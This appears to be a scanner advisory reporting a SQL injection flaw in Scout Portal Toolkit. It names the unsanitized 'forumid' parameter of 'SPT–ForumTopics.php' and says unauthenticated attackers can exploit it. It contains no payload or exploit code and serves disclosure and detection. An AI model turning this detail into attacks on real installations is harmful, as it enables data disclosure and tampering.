The remote host is running Scout Portal Toolkit, an open source toolkit for organizing collections of online resources / knowledge.
The version of Scout Portal Toolkit installed on the remote host fails to sanitize user-supplied input to the ‘forumid’ parameter to the ‘SPT–ForumTopics.php’ script before using it in a database query. Regardless of PHP’s ‘magic_quotes_gpc’ setting, an unauthenticated attacker can exploit this flaw to manipulate database queries, which may lead to disclosure of sensitive information, modification of data, or attacks against the underlying database.
